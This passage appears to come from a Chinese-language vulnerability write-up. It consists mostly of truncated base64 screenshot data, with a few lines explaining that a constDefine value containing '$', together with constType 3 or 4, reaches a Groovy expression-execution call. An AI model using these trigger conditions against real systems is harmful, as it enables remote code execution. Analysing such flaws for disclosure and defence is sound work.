hhBBCCCGEEEIIIYQQQgghhBBCiOuOBMcJIYQQQgghhBBCCCGEEEIIIYQQQgghhLjuSHCcEEIIIYQQQgghhBBCCCGEEEIIIYQQQojrjmm2KyCG+Pn54XA4Bh93dXXT1dU5izUSQgghhBBCCCGEEEIIIYQQQgghhBBCiPlJguNmUUREJFnZ2URHxxAbF4fNZhtTpru7i/KyMi5evMipvDza2lpnoaZCCCGEEEKIq6G1AUfcMpasWEro5Vd4+YOq2a6SEGICOv0eHlpqojDvA04VVNGj1WxXaUJaGwhIWsOKVctISoghyN+On0lR/853+d/d0u8IIYQQQgghhBBCCCE+uiQ4boYppcjJzWXFihuIiY2dsLzFYiUtPYO09Aw2bd5MQX4B7+57h9ra2hmorRBCCCGEEOJqWWJWs/aOO1iaFIxJKRr2vznbVRJCTIYtnPicJSTmbGR93SkOv/ECB8/V4lJzM0hOaytJW7/IvesSsRrmZh2FEEIIIYQQQgghhBBitkhw3AwKCwvnvh33ExUVNWZdY2MDlRWVNDU10tvbi1IKh8NBTEwsMbGxKKUwGIwszMpiQWYm7+7by3v730VrPQt7IsS1sQRqPpcNGVZobYVn8uB4twziiLnHL+FWtt23mfhgAx2VR9nz9FNcaJG2KoQQwjetzcSs/xTbtmQTaFSe59y4el2zXDMhxKT09OACjMqAJTyXtY8tIOPoH3juxSM0u+fevaA15xG2rU/EqhRau+lpKKa8so7Wrl5ay9tnu3pCCCGEEEIIIYQQQggxqyQ4boakpKTywM6HMJvNg8+1t7dz7OgRjh87SnNz87ivtTscLF++glWrb8Rms2EwGNh48ybCwsJ44fnnJEBOzCtaa27OhEX+/YNKocHwcLLmeP4sV0yIUbQOYvkdd5MaYQDAnLSeLTcf58KL52e5ZkIIIeYyrc3EbPwCD96a6glU6ab+zB4+PPAB+SUNMEczTwkhhjn3O372k6Nkr9zMqlUZOI1Wwpc/zkNmI3945kNa5tA0q1pbWLh8CTZPYFzjkV/w2xfP0DWH6iiEEEIIIYQQQgghhBCzSYLjZkBsXBw7H34Ek2nocB89cphdb71Jb2/vhK/vaG9n/7v7OH7sGPft2EFSUjIAixbn0NLSwu63d01b3YWYDoYJHs9n2qHZFt3fuXa3wKu119eglDYEErdkDYsXLSI+KhiHw4HR1U1HSzW1F89w6sB+LlS3oyc58K/Dl7F+aRwGoK/iIB+cnUtTRhtQo/dDAhrEHKPDgvn8Ugd+QFdlLb862zPbVUIb/VizIop7soPIirQQYjNi6HPR2NjBmeIGXjpQy/sN7tmu5pxytefRsCCF3R+LwF8pXBcK2fTrWjom6Kei12fz0lYnAAW7jvLY3qltM9oSzi/+LpUVvurRUc2X/l8xB67DPlVrReiaz/HAQGBcdwUnXvg1u09W90/HOIl91qYQklfeTM7CdKIjQ7DbLKi+LjqaqqguPsXJ9/dT0jj71/pcci33E9q+gYe/9QCJo86N1m5cPZ10tDXTeCmfCycOcLrgEt2zHHCkHCksvXkz2RnJhAb6YzGNvJPWuoL3fvA9Pmic/esr/cF/Z3uuGa07OPnEX/Nm4czX6WqPl1Ka7tqzHHv1LGfzNnLnzu2kBRsIXPwYO3s7+e2zeXTNmT4skqCQgbqUcXKPBMYJIYQQQgghhBBCCCHEcFcdHGcKWcStd29kYYjf4HNFb/yIF8+Nn8VM63hu/fwOcuxX9o9arct5+6d/5FTv+K+7mvrMBIvFyo4dDwwGxrlcLp5/7k+cO3v2irfV1tbK737zf2y//wGysrIBuHHNWgoK8qkoL5/Seo+Wmpo6ra8pKiq64u2L+UkpxZ4CTXq2Js0C7W3wp5LZrtUUssOWZDArRXuF5tW5FOt1jVToCrY+9CCLo20Yhg8Gmuw4w1NwhqeQumwjZft+zQtvF0xuwDB0ESs3rMSsFJ3HCudUcJxSDRx9/VXi7r2ZuCADnZeOsmevZI0Tc0xYMI/dFIFVKVqOtsx6cJw5Mpx/fCSZTWHGkSuMBiKjAomMCmTTDdHsfS2fvzvYMYcCC2bZVZ5HV1EzJ90RrDWCMcHJSlXLPh/ltTawOtnf86CLoxe6ATkHUyp4PbdtyejP4OSqI+/p/+StgrZJB1ebotZx1yPbWRBqHrnC6CAwMo3AyDQyVm7gwhv/w8sflNIn11C/abifUMqAyeLAaXHgDI0hYdFGVhW/zet/eoWSltkJ8NWBK7n3cx9jQeD19NOS6TNVx6urfC/P/drFg597kCSHgeBlD3JTXgFvFs6dINWhrqCdjrbZrIkQQgghhBBCCCGEEELMPVccHKe1kZCFm7j7lmzC/GZ/MGau1We0tevWERgUNPj4lZdfGjcwzmAw4HQ6Bx/39bloa2sdUUZrzcsvvkB0dDTBwSEopdi0+RZ+88Svp2cHhJgGXU2KH78/27UQV0LbF3H7Jz5OTkj/4KJ2tXK5rJSGpjbcliCCohKJCrZiMAaQcPPnuL/vh/x+bznueT5o33PxDf74ozdmuxpCzAs6IJh/+kQqG52e697VQ0l5GyUNPXQY/UhOCCI72AgmKxvvzuK73Xl89cTEGXSFD73NHK2AtYmA2cmKBNhX5qO8CmBpvOf8dDZzqHI66tTBvg+rKB2zwsLKlSEkGOf354IvWjvIvvMuEsz9UxvW7vsVb+W3TjowTges4K5PPMiCgIHP2jbqy8upb2yi2xhAWGI6MYEWlCmU9Dv/nG3d/8Kzxxqnc5c+cnRHGedOl9INgEKZbDjDkoiNC8FiMBCQuoXtn7Tw9M+eocLHD7empW7aSMbWBwYDvdztFRQXltPa3TeqZCNV3TNatTlpqo+Xrt/P88+n8NlHV+BQwSy+6y7yfvIsVe650Kd10jO4D1YsNqB9FqsjhBBCCCGEEEIIIYQQc8wVBcdpFUjGpjvZkhOBRSm0u53K6l7iYoImfvHobbWWcOh4OeP/H9pO8srlxNsUuHvp8fLj/Kmsz3SwWCysvGHV4OOC/HzyTp4YU25BZiYrV64iPiFhxNSrw3V3d/OH3/+O8rIyenp62PvOHu7
|
|||
|
|
<p blockindex=20><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACYsAAAXfCAYAAADvczE8AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd2Bc13nn/e+ZhkHvlQQJgiRAgr2JkihRXbIlW5bVbEuy5Fh2nDgub97EWWezydrZFDvJvsk6ybrIJbas2OqxLEuiClUpUewVJEGiESRIgOgd0877BwpBdJAzKMTv89cF5s7Fc8+cc+5g7jPPMWvWbbCIXIJF+XkAFBcXT20gl5G4uDgA2trapjiSmUHtNTFqLxERERERERERERERERERkdkjPz8fgLKyMhxTHIuIiIiIiIiIiIiIiIiIiIiIiIhMAiWLiYiIiIiIiIiIiIiIiIiIiIiIzAJKFhMREREREREREREREREREREREZkFlCwmIiIiIiIiIiIiIiIiIiIiIiIyCyhZTEREREREREREREREREREREREZBZQspiIiIiIiIiIiIiIiIiIiIiIiMgsoGQxERERERERERERERERERERERGRWUDJYiIiIiIiIiIiIiIiIiIiIiIiIrOAksVERERERERERERERERERERERERmASWLiYiIiIiIiIiIiIiIiIiIiIiIzAKuqQ5AZjaXy4m1tnfbRSAQmOKIREQml132KN/83EbcIR++jmbqTx/n+K6t7NhbSZcxUx2eyJSy1kncvPWsvWI96eee57l3qqc6JBGRSTfeudAW3s3D612U7HuXvcXV+KzeR8jk0nX7vHCOx5k4tq11EL/wWq68aj358+eSHB+N2+Wg7vVv8YMts7dfiIiIiIiIiIhcLpQsJhfN43aTk52J6U2GWLBgAZWVlfh8vimOTERk8jmcUXjjM5izJIOcwitZs/4Z/vNnr3EuOP1vBolEgnfuNVz38Y+zLj8ZlzE0vPW7qQ5JRGTSTWgujM5g3uq15K2+ievrDrD9xad471AtQSWfyyTQdXuQcI7HGTa2rY1m4cf+mHuuyyPaMT1jFBERERERERGRS6NkMbko3qgosrMycDqddHZ2AhAdHU1eXh5VVVX9vxMRuezVH2Hv9m48njgSMvPJm5OEyzhJKLyP+28v5/svnCA0TW8EyeSKTnHy5ZVOCqOhtSXIr/YE2NV5+fUNaz3Muf5L3Hv7CpKcpvd3IQL+4BRHJiIyeS5qLvT7CABRxkFU+mo2f24JS3Y8zq+f/ZDm0OV3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
|
|||
|
|
<p blockindex=21>通过<code>constDefine</code>作为参数,使用<code>groovy</code>计算表达式。</p>
|
|||
|
|
<p blockindex=22><img src="data:image/png;base64,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
|
|||
|
|
<p blockindex=23>要想进入到<code>groovy</code>命令执行的方法调用中,需要<code>constDefine</code>的值中包含<code>$</code>,且<code>constType</code>需要指定为<code>3</code>或者<code>4</code>。</p>
|
|||
|
|
<p blockindex=24><img src="data:image/png;base64,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
|
|||
|
|
首先会调用<code>_parserRefKey</code>方法对<code>constDefine</code>进行解析。会通过<code>$</code>界定一组关键字,如<code>$a$</code>,最终会在<code>refs</code>中添加<code>a</code>。</p>
|
|||
|
|
